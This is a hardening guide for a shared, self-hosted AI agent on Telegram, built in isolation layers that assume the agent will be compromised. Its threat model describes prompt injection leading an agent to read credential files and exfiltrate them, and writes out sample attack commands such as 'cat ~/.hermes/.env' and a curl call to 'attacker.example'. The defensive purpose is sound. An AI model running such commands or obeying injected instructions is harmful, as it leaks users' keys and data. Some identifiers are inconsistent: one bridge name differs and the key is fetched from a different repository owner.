

A PRACTICAL SECURITY GUIDE · MULTI-USER AI AGENT

Hardening a Shared Hermes Agent on Telegram

Designing and building, step by step, an AI agent for a few friends, so that if it is fully compromised, the attacker reaches neither the server, nor another friend, nor a single real secret, nor the internet.

Layer 1 Host

Layer 2 Execution isolation

Layer 3 Network

Layer 4 Secrets

Layer 5 Hermes itself

Layer 6 gVisor sandbox

Final edition · 28 October 2026

Incus · gVisor · iron-proxy · systemd · Telegram

Contents

1	Summary and Verdict	3
2	Threat Model	5
3	Security Design Principles	8
4	Security Architecture	10
5	Tools and the Security Role of Each	12
6	Prerequisites and Early Decisions	15
7	Layer 1: Host Hardening	17
8	Layer 2: Execution Isolation with Incus	20
9	Layer 3: Network Isolation	24
10	Layer 4: Secrets — No Real Key Inside a Friend's Box	27
11	Layer 5: Hardening Hermes Itself and the Final Lockdown	33
12	Layer 6: A Separate Execution Sandbox — Agent Commands Inside gVisor	39
13	Verification: Attacking Your Own System	45
14	Monitoring and Intrusion Detection	49
15	Incident Response	51
16	Safe Maintenance and Updates	54
17	Critical Review: Decisions and Rejected Options	57
18	Residual Risks	60
19	Sources	62

1 Summary and Verdict

A Hermes you share with friends must be built so that if it is fully compromised, the attacker gets nothing usable: not the server, not another friend, not a single real key or token, and no path to the internet. This guide builds that goal from six independent layers, then shows you how to prove it by attacking your own system.

The starting point is a simple fact: Hermes grants access in a binary way. Every allowed user gets every tool, including the terminal ([Hermes issue #527](#)). So adding a friend means handing them a shell; and handing one to anyone who steals their Telegram account; and to any web page with a hidden instruction planted in it.

What This Design Guarantees

This table is the security contract for the whole guide. Every layer exists to keep one of these rows true.

If this component is fully compromised	What the attacker gets	What stops them
A friend's Telegram account	That friend's Hermes, inside its own box	All the layers below
A command the agent runs	A sandbox inside gVisor with no network, no secrets, and a throwaway filesystem	Layer 6
The Hermes process in a friend's instance	Only that friend's chats and memory, plus worthless proxy tokens	Layer 4: real keys and tokens never enter this instance
Root inside a friend's instance	An unprivileged user on the host, with no access to other friends	Layer 2: unprivileged container with an isolated idmap
A friend's instance network	One port on that friend's own proxy	Layer 3: dedicated bridge, no NAT or DNS, egress closed
A friend's secrets proxy	Only that friend's secrets, only toward two allowed domains	Layer 4: a separate proxy per friend
The host server	Everything	Layer 1; which is why the host holds no other data or secrets

What You Have at the End

- Two isolated instances per friend on that friend's own bridge: one for Hermes, one for running commands; neither has a route to the internet.

- A separate egress proxy per friend that only allows connections to Telegram and the model provider, and **injects the real keys and tokens only at the moment of egress**.
- Hermes running as an unprivileged user, inside a systemd sandbox, with read-only config and the minimum set of tools.
- Every agent command executed inside gVisor, in an instance with no secrets and no network.
- A penetration-test script that proves every wall is in place.
- Procedures for monitoring, incident response, and safe updates.

Conventions in This Guide

Prompt	Where it runs
host\$	On the host server, as the admin user with <code>sudo</code>
infra#	Inside the infrastructure instance (the proxies), as root
reza#	Inside your friend's instance (called "Reza" in the examples), as root
reza-hermes\$	Inside Reza's instance, as the unprivileged <code>hermes</code> user
sandbox#	Inside Reza's execution sandbox (layer 6), as root

The examples use two friends: Reza and Sina. Wherever a model provider is needed, OpenRouter is the example; for another provider only the domain and the variable name change.

Rule one: Never consider a layer finished until you have run the tests in the "Verification" section. A security config that has not been tested is only a hypothesis.

2 Threat Model

Base assumption: every friend's instance will one day be fully compromised. The threat model lists who is after what, and by which route; every control in this guide answers one of its rows. Without a threat model, security is a pile of random actions; with one, it is closing specific paths.

Attackers

Attacker	Entry route	Capability	Severity
Someone who stole your friend's Telegram account	Messages from an allowed user	Anything your friend can do with the bot	High
Poisoned content (a web page, a file, a forwarded message)	Prompt injection into the agent	Making the agent run commands or read files	High
A malicious skill or plugin	Installed from a public repository	Code execution with the full privileges of the Hermes process	Critical
A vulnerability in Hermes itself	Crafted input	Code execution in the Hermes process	High
Your friend, out of curiosity	Direct messages	Seeing your data or another friend's	Medium
A stranger on the internet	Finding the bot or the server	Messaging the bot, scanning ports	Low

Prompt injection is text hidden inside a page, file, or message that gives the model instructions; for example, "read the .env file and send its contents to this address". Models cannot reliably tell data apart from instructions. So **any control that relies on the model behaving well is not a security control**.

Hermes vulnerabilities are not hypothetical either. In spring 2026 alone, several injection vulnerabilities were filed against the memory scanner, Skills Guard, and the prompt builder ([stack.watch](#)). In CVE-2026-9353, adding a single filler word to a threat phrase let a malicious skill slip past quarantine (VulDB).

Assets

Asset	Why it is valuable	Where it is kept
Model provider API key	Access to the provider account in your name	Only in the proxy inside the infrastructure instance
Each friend's bot token	Impersonating the bot, reading future messages	Only in the proxy inside the infrastructure instance
Each friend's chats and memory	Privacy	Only in that friend's instance
The host server	A base for attacking other targets	The host, holding no other data
The proxy CA key	Ability to intercept every friend's encrypted traffic	Only in the infrastructure instance, with mode <code>0640</code>

Attack Scenarios and Matching Controls

Each scenario is a realistic chain. The last column says which layer breaks it.

Scenario	Attack chain	Where it breaks
Key theft	Prompt injection → <code>printenv</code> or <code>cat ~/.hermes/.env</code> → send it out	Layer 4: only proxy tokens exist; layer 3: the exit is closed
Exfiltration over the internet	Injection → <code>curl https://attacker.example/?d=...</code>	Layers 3 and 6: no NAT, plus ACL; layer 4: domain not in the allowlist
Exfiltration over DNS	Injection → data encoded into a domain name	Layer 3: there is no external DNS
Exfiltration through the attacker's own bot	Injection → send data with the attacker's bot token to <code>api.telegram.org</code>	Layer 4: the proxy rejects requests without this friend's proxy token
Lateral movement	Escaping to another friend or to the host	Layers 2 and 3: separate instance and bridge, separate idmap
Persistence	Writing into memory or skills for a later run	Layers 5 and 6: read-only config and command execution outside the Hermes instance; plus rebuilding from a clean snapshot
Privilege escalation in the instance	Abusing a <code>setuid</code> binary or <code>sudo</code>	Layers 2 and 5: no <code>sudo</code> , no <code>setuid</code> , <code>NoNewPrivileges</code>
Taking the server down	Fork bomb, filling the disk or memory	Layer 2: caps on CPU, memory, process count, and disk

Scenario	Attack chain	Where it breaks
Attacking the server itself	Scanning and attacking SSH	Layer 1: keys only, firewall

Out of Scope

Three things are deliberately outside this guide: a zero-day in the Linux kernel (covered under "Residual Risks"), a compromise of Telegram or the model provider themselves, and physical access to the server.

3 Security Design Principles

Seven principles, and every command in this guide applies one of them. Once you understand them, you can make the right call yourself in situations this guide does not cover.

1. The Trust Boundary Lives Outside Hermes

A **trust boundary** is a line with a different level of trust on each side, and crossing it must be controlled by a technical mechanism. Every safeguard that runs inside the Hermes process (the dangerous-command list, the injection scanner, Skills Guard) runs in the very process that may be compromised. So in this design the boundaries are the container, the network, and the proxy, and Hermes' internal settings are only an extra layer.

2. Assume Breach

Build the design on the assumption that every friend's instance has been compromised. The right question is not "how do I stop the intrusion" but "when the intrusion happens, what is lost". That amount of damage is the **blast radius**, and our goal is to shrink it to zero.

3. Secrets Never Enter the Box

Any secret inside a friend's instance leaks with the first successful prompt injection. So the instance only holds a **proxy token**: a meaningless string that turns into the real key or token only behind that friend's proxy. The Hermes documentation describes exactly this threat: a poisoned agent can read credential files or environment variables and send them out ([Hermes iron-proxy docs](#)).

4. Default Deny

Nothing is allowed unless it is explicitly permitted: network egress, domains, Telegram users, Hermes tools. An allowlist always beats a blocklist, because a blocklist always misses something.

5. Least Privilege and Full Separation

Each friend gets a separate instance, a separate bridge, a separate proxy, and separate secrets. No resource is shared between two friends, so compromising one opens no path to another. Inside each instance, Hermes runs as an unprivileged user with only the tools it needs.

6. Defense in Depth

Several independent layers, each assuming the previous one has failed. For example, to exfiltrate data from Reza's instance to the internet, an attacker has to beat the Incus network filter, the absence of NAT, and the proxy's domain allowlist, all at once. Three independent mechanisms, not one.

7. Build, Lock, Test

Installation needs the internet; running does not. So you build the instance on the install network, then move it onto the locked network, and finally prove the lock works by attacking it. Every later change goes through the same cycle again.

4 Security Architecture

Each friend has two isolated instances on a dedicated bridge, Hermes and a gVisor execution sandbox, and Hermes' only outside destination is its own proxy in the infrastructure instance. The real secrets live only there, and are added only at the moment of egress to Telegram or the model provider.



Reza and Sina have no route to each other, to the host, to another proxy, or directly to the internet.

Trust Boundaries

Boundary	From	To	Control mechanism
1	Internet	Host	Firewall and key-only SSH
2	Friend's instance	Host and other friends	Unprivileged container or VM, isolated idmap
3	Friend's instance	Network	Dedicated bridge, no NAT or DNS, single-rule ACL
4	Friend's instance	Secrets and the internet	Dedicated proxy, two-domain allowlist, <code>require</code> , constrained CA
5	Hermes process	The rest of the instance and its own config	Unprivileged user, systemd sandbox, read-only paths
6	Agent command	Hermes state and the host kernel	Separate execution instance, gVisor, no network, ACL with zero allow rules
7	Telegram user	Agent	Single-user allowlist, no groups, minimal tools

To exfiltrate data from Reza's instance, an attacker has to beat boundary 3 twice (the ACL and the missing NAT) and boundary 4 at the same time; and even then there is no real secret to steal.

5 Tools and the Security Role of Each

Every tool has exactly one security job, and no tool holds two boundaries at once. For each tool, this section says what it is, which boundary it builds, and which alternative we deliberately set aside.

Tool	Boundary it builds	Layer
UFW and key-only SSH	Access to the server itself	1
Incus (unprivileged container or VM)	Isolating each friend from the host and from each other	2
Incus bridge and Network ACL	Restricting network destinations to a single port	3
iron-proxy	Domain allowlist and secret injection at egress	4
Unprivileged user and systemd sandbox	Confining the Hermes process inside the instance	5
Hermes security settings	User authentication, minimal tools, command scanning	5
gVisor and the Hermes SSH backend	Separating agent commands from Hermes state and from the host kernel	6

Hermes

An open-source AI agent by Nous Research. Its **gateway** connects to Telegram and delivers messages to the agent. The agent runs tools: terminal, files, browser, scheduling. The **terminal backend** decides where commands run: `local` on the same system, `docker` in a container, or `ssh` on another machine. We choose `ssh` to a **separate execution instance** that runs every command inside gVisor (layer 6). The `ssh` backend keeps dangerous-command checks switched on, while the Docker backend skips them because it treats the container as the boundary ([Hermes security docs](#)).

Incus: The Isolation Tool

Incus is a manager for system containers and VMs. Here it has only one role: building a separate operating system for each friend. It is a fork of LXD, created by LXD's original developers ([Stéphane Graber](#)).

- **Unprivileged system container:** shares the host kernel, but runs inside a **user namespace**; root inside the container is an unprivileged user on the host ([Incus idmap docs](#)). With `security.idmap.isolated`, each instance gets its own unique UID range. This option is off by default, and CVE-2026-62313 came from exactly that default ([OSV](#)).

- **VM:** has its own kernel and is isolated by hardware virtualization; the strongest option, but it needs `/dev/kvm` on the host.
- **Default protections:** on a host with AppArmor (such as Debian), Incus applies an AppArmor profile and a seccomp filter for dangerous system calls to every container.

Why not Docker with the socket mounted: access to the Docker socket equals root on the host ([OneUptime](#)). **Why not LXD:** it installs from snap, and its license changed to AGPLv3 with a CLA ([LWN](#)).

Bridge and Network ACL

A **bridge** is a virtual switch that instances plug into. A **Network ACL** is a set of rules for what traffic may leave or enter an instance ([Incus ACL docs](#)). The critical detail: on a bridge, ACLs are enforced only at the boundary between the bridge and the host, **not between instances on the same bridge**. That is why each friend gets their own bridge.

iron-proxy: Egress Firewall and Secret Injection

An open-source egress proxy (Apache-2.0, written in Go) built for untrusted workloads. It terminates TLS with a dedicated CA, passes every request through a transform pipeline, and does the following security work ([iron-proxy repo](#)):

- **Default deny:** any request to a domain that is not listed gets a 403.
- **Secret injection:** the instance sends a proxy token, and the proxy swaps it for the real key at egress. It finds the token in headers, the query string, and even the **URL path**; exactly what Telegram needs, since it puts the bot token in the path (`/bot<TOKEN>/sendMessage`). With the `require` option, a request missing the proxy token is rejected.
- **Upstream deny list:** even for an allowed domain, connections to cloud metadata and loopback addresses are refused; this blocks SSRF and DNS rebinding.
- **Audit log:** every request is logged as structured JSON, including which secret was injected and what was rejected and why.

Hermes itself integrates iron-proxy for the same purpose, but only for the Docker backend, and it says explicitly that it does not protect the LLM calls of the Hermes process itself ([Hermes iron-proxy docs](#)). In our design the whole Hermes process is inside the box, so we run iron-proxy standalone, outside the box, so that **all** Hermes traffic, Telegram and the model included, passes through it.

Why not Squid alone: Squid can hold an allowlist, but it does not open TLS traffic and has no concept of secret injection. With Squid, the real key would have to live inside the friend's instance.

The systemd Sandbox

systemd offers dozens of confinement options per service: a read-only filesystem (`ProtectSystem=strict`), a ban on gaining new privileges (`NoNewPrivileges`), restrictions on system calls and address families. `systemd-analyze security` measures each service's exposure score; zero means safe and ten means wide open ([StackHarbor](#)). We use it for the iron-proxy service in the infrastructure instance and for the Hermes service inside each instance.

gVisor

A separate Linux kernel written in Go that runs in user space. Instead of an application's system calls reaching the host kernel directly, a component called the **Sentry** intercepts them and answers them itself, making only a limited number of system calls to the host ([sandbox isolation](#)). The `runsc do` command runs a single command inside this box without Docker, and with `--rootless` it does not even need root ([gVisor rootless docs](#)). In this design only agent commands run inside gVisor (layer 6); since Incus cannot use gVisor as a container runtime, gVisor runs **inside** the Incus instance.

6 Prerequisites and Early Decisions

A dedicated Debian 13 server with nothing else on it, and one decision: container or VM.
That decision is made by a command on the server, not by taste.

The Server

Resource	Minimum	Why
RAM	4 GB	About 1 to 2 GB for each friend's instances, plus the infrastructure
CPU	2 cores	Hermes spends more time waiting on the model than computing
Disk	40 GB	Storage pool and snapshots
OS	Debian 13	Incus in the official repository, with security patches

Dedicated means truly dedicated: no personal services, no work data, no SSH keys to other servers. If the whole server is lost, you should be able to rebuild it from scratch within an hour, with nothing of value burned except revocable secrets.

Debian 13 ships Incus in its official repository and tracks the LTS releases ([Incus install docs](#)). Security patches are backported too; for example, CVE-2026-62313 is fixed in `6.0.4-2+deb13u9` ([Engin-sight](#)).

Decision: Container or VM

```
host$ ls -l /dev/kvm
host$ grep -cE 'vmx|svm' /proc/cpuinfo
```

BASH

Result	Choice	Why
<code>/dev/kvm</code> exists and the count is above zero	A VM per friend	Separate kernel; a host-kernel vulnerability is no longer an escape route
No <code>/dev/kvm</code>	Unprivileged container with an isolated idmap, plus gVisor for commands	The only option on a VPS without nested KVM

Most cheap VPSes lack nested KVM; one user reported that neither Linode nor Hetzner Cloud offered it ([r/incus](#)). **If you want maximum security, get a server with KVM** (a dedicated server, or a provider with nested virtualization). This guide is written for both cases; the difference is usually just `--vm` in the create command.

Preparing Telegram

Create a separate bot for each friend with @BotFather and apply these settings to each one:

BotFather command	Value	Why
<code>/setjoingroups</code>	Disable	Nobody can add the bot to a group; in a group, every member is an uncontrolled input
<code>/setprivacy</code>	Enable	If it ever ends up in a group, it only sees messages addressed to it
<code>/setinline</code>	Leave off	Extra input surface

Also get each friend's numeric Telegram ID (by messaging @userinfobot). **You enter each friend's real bot token directly in the infrastructure instance; never in the friend's instance, in a chat, or in a file on your computer.**

Pre-Flight Checklist

- ☐ Key-based SSH access to the server, and a non-root user with `sudo`
- ☐ Your admin SSH key has a passphrase (or is a hardware key)
- ☐ For each friend: a separate bot with the settings above, and their numeric Telegram ID
- ☐ A model provider API key; if possible, a separate key per friend so revocation is independent
- ☐ A snapshot of the bare server in the provider panel

7 Layer 1: Host Hardening

The host is the only component whose compromise means losing everything; so it has the smallest attack surface: **key-only SSH, no other inbound port, automatic patches, and a hardened kernel**. No connection comes from Telegram to the server, because the Hermes gateway reaches out to Telegram itself with long polling.

1.1 Automatic Patches

```
host$ sudo apt update && sudo apt full-upgrade -y
host$ sudo apt install -y unattended-upgrades needrestart ufw curl
host$ sudo dpkg-reconfigure -plow unattended-upgrades
```

BASH

`unattended-upgrades` installs Debian security patches automatically, Incus included. `needrestart` shows which services still have the old version in memory after a patch. **A kernel patch does not apply without a reboot**; on a server whose kernel runs your containers, a reboot after every kernel patch is mandatory.

1.2 SSH

Before any change, open a second SSH session and keep it open until the end of this section. If the config is wrong, that session is your way back.

```
# /etc/ssh/sshd_config.d/99-hardening.conf
PermitRootLogin no
PasswordAuthentication no
KbdInteractiveAuthentication no
PubkeyAuthentication yes
AuthenticationMethods publickey
MaxAuthTries 3
LoginGraceTime 20
AllowUsers ali
X11Forwarding no
AllowTcpForwarding no
AllowAgentForwarding no
PermitTunnel no
```

BASH

```
host$ sudo sshd -t && sudo systemctl reload ssh
```

BASH

Connect again from a third terminal; only if that works, close the second session. `AllowTcpForwarding no` and `AllowAgentForwarding no` matter: if your SSH key ever leaks, the attacker cannot use the server as a tunnel into other networks ([CIS-based Linux hardening](#)).

1.3 Inbound Firewall

```
host$ sudo ufw default deny incoming
host$ sudo ufw default allow outgoing
host$ sudo ufw limit 22/tcp
host$ sudo ufw enable
```

BASH

`ufw limit` rate-limits repeated connection attempts from one IP. If you have WireGuard or a private network, open SSH only on that and close it to the public internet.

Compatibility with Incus: both UFW and Incus write firewall rules. If instances do not get an IP, open DHCP on the bridges:

```
host$ sudo ufw allow in on incusbr0
host$ sudo ufw allow in on infrabr0
host$ sudo ufw allow in on br-reza to any port 67 proto udp
```

BASH

On the friends' bridges open **only DHCP**, not everything; the real destination filtering is done by the Incus ACLs.

1.4 Kernel

```
# /etc/sysctl.d/99-security.conf
kernel.dmesg_restrict = 1
kernel.kptr_restrict = 2
kernel.unprivileged_bpf_disabled = 1
net.core.bpf_jit_harden = 2
kernel.yama.ptrace_scope = 2
fs.protected_symlinks = 1
fs.protected_hardlinks = 1
fs.suid_dumpable = 0
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.conf.all.rp_filter = 1
```

BASH

```
host$ sudo sysctl --system
```

BASH

Setting	What it closes
<code>unprivileged_bpf_disabled</code> and <code>bpf_jit_harden</code>	eBPF programs, one of the common routes to exploiting the kernel
<code>kptr_restrict</code> and <code>dmesg_restrict</code>	Leaks of kernel addresses that exploits need to defeat KASLR
<code>ptrace_scope = 2</code>	Reading other processes' memory, admin only
<code>suid_dumpable = 0</code>	setuid program memory being written into core dumps
<code>accept_redirects</code> and <code>send_redirects</code>	Routing manipulation with ICMP messages

1.5 What Is Not on the Host

- No API key, bot token, or `.env` file. All secrets live in the infrastructure instance.
- No network service except SSH. The Incus network API is closed as well (layer 2).
- No user other than your admin user.
- **No Docker.** Docker sets the `FORWARD` chain policy to drop and breaks Incus networking ([Incus firewall docs](#)).

1.6 Verifying Layer 1

```

host$ sudo ufw status verbose           # only 22/tcp should be LIMIT IN      BASH
host$ sudo ss -tlnp                     # only sshd on a public port
host$ ssh root@SERVER                  # must be refused
host$ ssh -o PubkeyAuthentication=no ali@SERVER # must be refused

```

8 Layer 2: Execution Isolation with Incus

Each friend gets a complete, separate operating system whose root is an unprivileged user on the host with a unique UID range, with resource caps, no nested containers, and no access to the management API. All security settings live in one profile, so they cannot be forgotten for a new instance.

2.1 Installing Incus

```
host$ sudo apt install -y incus btrfs-progs
host$ sudo adduser ali incus-admin
host$ newgrp incus-admin
```

BASH

Membership in `incus-admin` equals root on the host, exactly like the `docker` group (Incus install docs). Only your admin user should be a member. No service, and never Hermes, may have access to this group or to the Incus socket.

2.2 Initialization

```
host$ sudo incus admin init
```

BASH

Question	Answer	Security reason
clustering	no	Smaller attack surface
storage backend	btrfs, on a 40 GB loop device	The <code>dir</code> backend cannot cap each instance's disk; without that, one instance can fill the whole server's disk
new local network bridge	yes (named <code>incusbr0</code>)	Install network only; no instance stays on it permanently
IPv6 address	none	Smaller attack surface and simpler rules
available over the network	no	Critical: the Incus API means full root control
print preseed	yes	Save it so rebuilds are reproducible

2.3 The Hardened Friend Profile

```
host$ incus profile create hermes-friend
host$ incus profile edit hermes-friend
```

BASH

```
config:
  security.privileged: "false"
  security.idmap.isolated: "true"
  security.nesting: "false"
  security.syscalls.deny_compat: "true"
  security.guestapi: "false"
  limits.cpu: "1"
  limits.memory: 2GiB
  limits.processes: "512"
  snapshots.schedule: "@daily"
  snapshots.expiry: 7d
  boot.autostart: "true"
description: Hardened profile for one friend's Hermes
devices:
  root:
    type: disk
    pool: default
    path: /
    size: 10GiB
```

YAML

Key	What it does	Without it
<code>security.privileged: false</code>	Root inside the instance is unprivileged on the host	Root inside the instance equals root on the host
<code>security.idmap.isolated: true</code>	A unique UID range per instance (Incus idmap docs)	All friends share one idmap on the host
<code>security.nesting: false</code>	Containers inside containers are forbidden	Enabling it requires syscall interception, and each one loosens a protection (isb-core)
<code>security.syscalls.deny_compat: true</code>	32-bit system calls on a 64-bit host are blocked	An old, rarely used kernel attack surface stays open
<code>security.guestapi: false</code>	Removes the internal Incus API from the instance	The instance has a way to query the host
<code>limits.*</code>	Caps on CPU, memory, and process count; stops fork bombs	One compromised instance eats everyone's resources
<code>root size</code>	Disk cap	The server disk fills up
<code>snapshots.*</code>	Daily snapshot, kept for seven days	No rollback point during an incident

If your Incus version does not recognize one of the keys, `profile edit` returns an error; remove that line and check the docs for your version. The network device is deliberately not in the profile; each friend gets their own network device on their own bridge (layer 3).

2.4 Creating a Friend's Instance (Install Phase)

```
# container (no /dev/kvm)
host$ incus init images:debian/13 hermes-reza --profile default --profile hermes-friend
# or a VM (/dev/kvm present) - stronger
host$ incus init images:debian/13/cloud hermes-reza --vm --profile default --profile hermes-friend

host$ incus start hermes-reza
```

Later profiles override earlier ones: `default` provides, for now, a network device on `incusbr0` (the install network, with internet) and `hermes-friend` provides all the restrictions. A VM needs the `cloud` variant of the image ([StackHarbor Incus guide](#)).

2.5 Proving It Is Unprivileged

```
host$ incus config show hermes-reza --expanded | grep -E 'privileged|idmap|nesting|
guestapi|limits'
host$ ps -o user,pid,cmd -p $(incus info hermes-reza | awk '/^PID/{print $2}')
host$ sudo aa-status | grep -c incus
```

The `user` column must be a large numeric UID (for example `1065536`), **not** `root`. That is the visual proof that root inside the instance is an insignificant user on the host. The `aa-status` output shows that the Incus AppArmor profiles are active.

2.6 Hardening Inside the Instance

```
host$ incus exec hermes-reza -- bash

reza# apt update && apt full-upgrade -y
reza# apt install -y curl git ca-certificates openssh-client
reza# apt purge -y sudo openssh-server 2>/dev/null; apt autoremove -y
reza# useradd --create-home --shell /bin/bash hermes
reza# chmod 700 /home/hermes
reza# install -d -o hermes -g hermes -m 700 /home/hermes/scratch
```

Action	Why
No <code>sudo</code>	The hermes user has no official path to root
No SSH server	Your access is always via <code>incus exec</code> from the host; one less network service
<code>chmod 700</code> on home	Other processes inside the instance cannot read Hermes' files
The <code>scratch</code> folder	The agent's working directory; Hermes does not work from home or sensitive paths

`openssh-client` is needed because in layer 6 Hermes connects to the execution sandbox over SSH. `setuid` programs are removed in the final lockdown (layer 5), because they are still needed for installation until then.

9 Layer 3: Network Isolation

Each friend's instances sit on their own bridge with no NAT, no external DNS, and permission to connect to exactly one port: that friend's own proxy. Three independent mechanisms are built, each of which alone prevents direct egress to the internet.

3.1 Network Map

Network	Subnet	NAT	Who is on it	Only allowed destination
incusbr0	Incus default	Yes	Install time only	—
infrabr0	10.90.0.0/24	Yes	Infrastructure instance 10.90.0.10	The internet (proxies only)
br-reza	10.91.1.0/24	No	Reza's Hermes and execution sandbox	10.90.0.10:8081
br-sina	10.91.2.0/24	No	Sina's Hermes and execution sandbox	10.90.0.10:8082

Why a separate bridge per friend? On Incus bridges, ACLs are enforced only at the boundary between the bridge and the host, and do not see traffic between instances on the same bridge ([Incus ACL docs](#)). With a separate bridge, every packet leaving an instance passes through the host, and the ACL sees it. The isb project uses the same pattern for Incus sandboxes: one bridge per sandbox, default egress `drop`, and a single allow rule toward the egress proxy ([isb-core](#)).

Why a separate port per friend? Because each friend has their own proxy that only knows that friend's secrets (layer 4). The ACL guarantees Reza cannot even connect to Sina's proxy.

3.2 The Infrastructure Bridge

```
host$ incus network create infrabr0 \
    ipv4.address=10.90.0.1/24 ipv4.nat=true ipv6.address=none
```

BASH

The infrastructure instance must reach Telegram and the model provider, so it has NAT. This instance is trusted: no agent runs inside it and no friend has a shell on it.

3.3 Each Friend's Bridge

```
host$ incus network create br-reza \
    ipv4.address=10.91.1.1/24 \
    ipv4.nat=false \
    ipv6.address=none \
    ipv4.dhcp.ranges=10.91.1.20-10.91.1.30
host$ incus network set br-reza raw.dnsmasq="no-resolv"
```

BASH

Setting	Defense layer	What it closes
<code>ipv4.nat=false</code>	Second	Even if the ACL fails, a packet with the private address <code>10.91.1.x</code> gets no reply from the internet
<code>raw.dnsmasq="no-resolv"</code>	—	The bridge DNS has no upstream server; the DNS exfiltration channel is closed
<code>ipv4.dhcp.ranges</code>	—	A small DHCP range, separate from the static addresses; in CVE-2025-52889 the automatic DHCP rules allowed exhausting the address range (OSV); with a separate bridge, that only breaks the attacker's own network
<code>ipv6.address=none</code>	—	No IPv6 route that bypasses the IPv4 rules

The friend's instance does not need external DNS: when a program uses an HTTP proxy, it hands the destination name to the proxy and the proxy resolves it.

3.4 Each Friend's ACL

One separate ACL per friend with **exactly one rule**:

```
host$ incus network acl create acl-reza
host$ incus network acl rule add acl-reza egress \
    action=allow destination=10.90.0.10/32 \
    protocol=tcp destination_port=8081 \
    description="reza: own egress proxy only"

host$ incus network set br-reza \
    security.acls=acl-reza \
    security.acls.default.egress.action=drop \
    security.acls.default.egress.logged=true \
    security.acls.default.ingress.action=allow
```

BASH

This is the first line of defense. When an ACL is applied to a network, Incus adds a default action for traffic that matches no rule, configured with `security.acls.default.*` (Incus ACL defaults). Incus evaluates rules in the order `drop`, `reject`, `allow`, and finally the default.

- `drop` instead of `reject`: the packet is silently discarded, and the attacker gets no feedback for mapping the network.
- `egress.logged=true`: every dropped packet is logged. In normal operation Hermes sends no packets to unauthorized destinations, so every line in this log is a real alarm.
- `ingress.action=allow`: there is no route to `10.91.x` from outside (no NAT, no port forwarding), and another friend only reaches their own proxy through their own egress ACL. The SSH connection from Reza's Hermes to Reza's sandbox is on the same bridge and does not cross the ACL.

The **third line of defense** is the proxy's domain allowlist (layer 4): even an allowed connection to port 8081 only reaches two listed domains.

3.5 For Sina and Every Later Friend

```
host$ incus network create br-sina \
    ipv4.address=10.91.2.1/24 ipv4.nat=false ipv6.address=none \
    ipv4.dhcp.ranges=10.91.2.20-10.91.2.30
host$ incus network set br-sina raw.dnsmasq="no-resolv"
host$ incus network acl create acl-sina
host$ incus network acl rule add acl-sina egress \
    action=allow destination=10.90.0.10/32 protocol=tcp destination_port=8082
host$ incus network set br-sina security.acls=acl-sina \
    security.acls.default.egress.action=drop \
    security.acls.default.egress.logged=true \
    security.acls.default.ingress.action=allow
```

The rule: friend number N is on subnet `10.91.N.0/24`, Hermes on `10.91.N.10`, the sandbox on `10.91.N.11`, and the proxy port is `808N`.

3.6 Anti-Spoofing on the Network Device

When we move the network device onto its own bridge in layer 5, we also enable MAC and IP filtering so the instance cannot impersonate another address:

```
security.mac_filtering=true
security.ipv4_filtering=true
```

3.7 Structural Verification

```
host$ incus network list
host$ incus network show br-reza      # ipv4.nat: "false" and security.acls: acl-reza
host$ incus network acl show acl-reza # exactly one egress rule
```

The real test of this layer is in the Verification section, when you try to get out from inside Reza's instance as root.

10 Layer 4: Secrets — No Real Key Inside a Friend's Box

A friend's instance has neither the model provider API key nor even its own bot token; it only has two worthless proxy tokens, which that friend's own proxy in the infrastructure instance swaps for the real values at egress. This is the most important layer in this guide: if a friend's instance is fully compromised, the attacker holds nothing that works outside your server.

4.1 Why This Layer Is Needed

Without this layer, the API key and bot token would have to sit in the `.env` file inside the friend's instance. The first successful prompt injection reads both with a single `cat ~/.hermes/.env`. Even with the network fully closed, the attacker still has one exit: **Telegram itself**. All they need is to make the agent send the data to `api.telegram.org`, an allowed domain, using the **attacker's own** bot token.

iron-proxy solves both problems at once:

- The real token never enters the instance, so there is nothing to steal.
- With `require: true`, any request to `api.telegram.org` or the model provider that does not carry **this friend's proxy token** is rejected ([iron-proxy repo](#)). So the attacker's bot or key cannot pass through this proxy, and the Telegram channel is limited to your friend's own bot.

4.2 Creating the Infrastructure Instance

```
host$ incus init images:debian/13 infra \
    -c security.idmap.isolated=true \
    -c security.nesting=false \
    -c security.guestapi=false \
    -c security.syscalls.deny_compat=true \
    -c limits.memory=1GiB -c limits.processes=512
host$ incus config device override infra eth0 \
    network=infra-br0 ipv4.address=10.90.0.10
host$ incus start infra
host$ incus exec infra -- bash
infra# apt update && apt full-upgrade -y
infra# apt install -y curl gnupg ca-certificates openssl
infra# apt purge -y openssh-server 2>/dev/null; apt autoremove -y
```

BASH

This instance is unprivileged too, with no nested containers. Only services you chose yourself run inside it.

4.3 Installing iron-proxy with Signature Verification

Find the latest version on the releases page and download the binary, the checksum list, and its signature. **Verify the signature before installing**; installing an unverified binary in the component that holds every secret is a vulnerability in itself.

```
infra# cd /tmp && TAG=vX.Y.Z # latest tag from the releases page
infra# BASE=https://github.com/ironsh/iron-proxy/releases/download/$TAG
infra# curl -fsSLO $BASE/iron-proxy-linux-amd64
infra# curl -fsSLO $BASE/checksums.txt
infra# curl -fsSLO $BASE/checksums.txt.asc
infra# curl -fsSLO https://raw.githubusercontent.com/paradigmxyz/iron-proxy/main/public-key.asc

infra# gpg --import public-key.asc
infra# gpg --verify checksums.txt.asc checksums.txt # must say: Good signature
infra# sha256sum -c --ignore-missing checksums.txt # must say: OK
infra# install -m 0755 iron-proxy-linux-amd64 /usr/local/bin/iron-proxy
```

The repository publishes a signed checksum list and a public key with its releases ([iron-proxy repo](#)). Compare the imported key's fingerprint against an independent source. If the file names differ in your version, take the right ones from the releases page.

4.4 Service User and a Constrained CA

```
infra# useradd --system --no-create-home --shell /usr/sbin/nologin iron-proxy
infra# install -d -o root -g iron-proxy -m 0750 /etc/iron-proxy
infra# cd /etc/iron-proxy && umask 077

infra# openssl genrsa -out ca.key 4096
infra# openssl req -x509 -new -nodes -key ca.key -sha256 -days 730 \
    -subj "/CN=hermes-egress CA" \
    -addext "basicConstraints=critical,CA:TRUE" \
    -addext "keyUsage=critical,keyCertSign" \
    -addext
"nameConstraints=critical,permitted;DNS:api.telegram.org,permitted;DNS:openrouter.ai" \
    -out ca.crt
infra# chown root:iron-proxy ca.key ca.crt && chmod 0640 ca.key && chmod 0644 ca.crt
```

